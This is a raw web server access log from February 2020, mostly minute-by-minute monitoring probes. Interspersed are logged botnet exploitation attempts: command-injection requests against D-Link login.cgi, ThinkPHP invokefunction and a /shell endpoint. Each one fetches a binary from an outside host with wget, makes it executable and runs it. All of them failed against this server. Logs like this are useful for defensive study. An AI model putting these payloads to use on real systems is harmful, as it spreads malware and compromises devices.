212.91.246.72 - - [19/Feb/2020:18:13:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:18:14:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:18:15:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:18:16:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:18:17:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
122.97.222.215 - - [19/Feb/2020:18:18:46 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://192.168.1.1:8088/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1" 404 310 "-" "Hello, world"
212.91.246.72 - - [19/Feb/2020:18:18:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
139.162.119.197 - - [19/Feb/2020:18:19:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "HTTP Banner Detection (https://security.ipip.net)"
212.91.246.72 - - [19/Feb/2020:18:19:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:18:20:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
87.236.27.177 - - [19/Feb/2020:18:21:32 +0100] "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=busybox&curpath=/&currentsetting.htm=1 HTTP/1.1" 400 329 "-" "Mozilla/5.0"
212.91.246.72 - - [19/Feb/2020:18:21:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:18:22:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:18:23:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:18:24:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.207.57.123 - - [19/Feb/2020:18:25:38 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [19/Feb/2020:18:25:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
180.113.186.209 - - [19/Feb/2020:18:25:56 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [19/Feb/2020:18:26:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:18:27:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:18:28:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:18:29:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:18:30:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:18:31:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:18:32:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:18:33:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
47.254.78.226 - - [19/Feb/2020:18:33:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
212.91.246.72 - - [19/Feb/2020:18:34:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:18:35:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:18:36:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:18:37:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
88.247.186.179 - - [19/Feb/2020:18:38:08 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [19/Feb/2020:18:38:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:18:39:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
197.245.55.220 - - [19/Feb/2020:18:39:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [19/Feb/2020:18:40:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:18:41:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:18:42:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:18:43:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:18:44:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:18:45:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:18:46:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:18:47:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
221.125.44.233 - - [19/Feb/2020:18:48:17 +0100] "GET /login.cgi?cli=aa%20aa%27;rm -rf /tmp/ff;wget%20http://158.69.236.40/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 404 310 "-" "DEMONS/2.0"
98.128.217.99 - - [19/Feb/2020:18:48:22 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [19/Feb/2020:18:48:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:18:49:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:18:50:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:18:51:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:18:52:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:18:53:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:18:54:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
88.247.186.179 - - [19/Feb/2020:18:55:04 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [19/Feb/2020:18:55:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:18:56:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:18:57:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:18:58:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:18:59:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:19:00:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:19:01:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
36.69.145.171 - - [19/Feb/2020:19:01:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [19/Feb/2020:19:02:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.186.19.221 - - [19/Feb/2020:19:03:43 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
212.91.246.72 - - [19/Feb/2020:19:03:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:19:04:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.186.19.221 - - [19/Feb/2020:19:04:53 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
222.186.19.221 - - [19/Feb/2020:19:05:10 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
222.79.48.97 - - [19/Feb/2020:19:05:18 +0100] "HEAD http://123.125.114.144/ HTTP/1.1" 200 - "-" "Mozilla/5.01694878 Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.2) Gecko/20100115 Firefox/3.6 GTBDFff GTB7.0"
212.91.246.72 - - [19/Feb/2020:19:05:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
223.166.75.211 - - [19/Feb/2020:19:06:27 +0100] "GET http://www.123cha.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
111.224.234.110 - - [19/Feb/2020:19:06:28 +0100] "GET http://www.rfa.org/english/ HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
171.116.201.157 - - [19/Feb/2020:19:06:29 +0100] "CONNECT www.ipip.net:443 HTTP/1.1" 405 342 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
219.140.116.244 - - [19/Feb/2020:19:06:30 +0100] "GET http://www.wujieliulan.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
222.82.54.178 - - [19/Feb/2020:19:06:31 +0100] "GET http://10010.ah165.net:8088/hsp/out_of_service.jsp?custcode=055109941569 HTTP/1.0" 404 331 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
222.82.62.97 - - [19/Feb/2020:19:06:32 +0100] "GET http://www.epochtimes.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
222.82.59.155 - - [19/Feb/2020:19:06:32 +0100] "CONNECT www.baidu.com:443 HTTP/1.1" 405 343 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
113.58.237.103 - - [19/Feb/2020:19:06:34 +0100] "GET http://www.minghui.org/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
110.80.155.84 - - [19/Feb/2020:19:06:35 +0100] "CONNECT www.voanews.com:443 HTTP/1.1" 405 345 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
119.39.47.94 - - [19/Feb/2020:19:06:36 +0100] "CONNECT cn.bing.com:443 HTTP/1.1" 405 341 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
212.91.246.72 - - [19/Feb/2020:19:06:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
79.134.192.134 - - [19/Feb/2020:19:06:59 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
79.134.192.134 - - [19/Feb/2020:19:06:59 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [19/Feb/2020:19:07:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:19:08:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.31.163.237 - - [19/Feb/2020:19:09:45 +0100] "POST /images.php HTTP/1.1" 404 315 "-" "curl/7.58.0"
212.91.246.72 - - [19/Feb/2020:19:09:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:19:10:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:19:11:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:19:12:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
34.228.42.160 - - [19/Feb/2020:19:12:54 +0100] "\x16\x03\x01\x01D\x01" 501 321 "-" "-"
209.45.60.60 - - [19/Feb/2020:19:13:07 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [19/Feb/2020:19:13:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:19:14:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.186.19.221 - - [19/Feb/2020:19:15:14 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
212.91.246.72 - - [19/Feb/2020:19:15:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
211.218.0.195 - - [19/Feb/2020:19:16:05 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.218.0.195 - - [19/Feb/2020:19:16:09 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.218.0.195 - - [19/Feb/2020:19:16:15 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.218.0.195 - - [19/Feb/2020:19:16:27 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [19/Feb/2020:19:16:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
211.218.0.195 - - [19/Feb/2020:19:16:52 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
95.91.221.16 - - [19/Feb/2020:19:17:15 +0100] "O" 501 316 "-" "-"
212.91.246.72 - - [19/Feb/2020:19:17:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
34.219.192.170 - - [19/Feb/2020:19:18:11 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.109 Safari/537.36"
212.91.246.72 - - [19/Feb/2020:19:18:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.31.163.237 - - [19/Feb/2020:19:19:34 +0100] "POST /images.php HTTP/1.1" 404 315 "-" "curl/7.58.0"
212.91.246.72 - - [19/Feb/2020:19:19:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
187.195.33.91 - - [19/Feb/2020:19:20:01 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
188.168.75.121 - - [19/Feb/2020:19:20:31 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [19/Feb/2020:19:20:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.186.19.221 - - [19/Feb/2020:19:21:05 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
212.91.246.72 - - [19/Feb/2020:19:21:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:19:22:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:19:23:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:19:24:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:19:25:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:19:26:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:19:27:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.186.19.221 - - [19/Feb/2020:19:28:01 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
222.186.19.221 - - [19/Feb/2020:19:28:24 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
212.91.246.72 - - [19/Feb/2020:19:28:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:19:29:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:19:30:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:19:31:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:19:32:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.186.19.221 - - [19/Feb/2020:19:33:45 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
212.91.246.72 - - [19/Feb/2020:19:33:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.48.235.1 - - [19/Feb/2020:19:34:24 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://scan.casualaffinity.net/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
212.91.246.72 - - [19/Feb/2020:19:34:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
181.199.160.17 - - [19/Feb/2020:19:34:56 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [19/Feb/2020:19:35:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:19:36:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:19:37:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:19:38:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:19:39:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:19:40:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
86.124.92.241 - - [19/Feb/2020:19:41:00 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [19/Feb/2020:19:41:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:19:42:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:19:43:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
41.72.107.214 - - [19/Feb/2020:19:44:38 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [19/Feb/2020:19:44:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:19:45:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:19:46:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:19:47:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:19:48:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.189.94.12 - - [19/Feb/2020:19:48:53 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
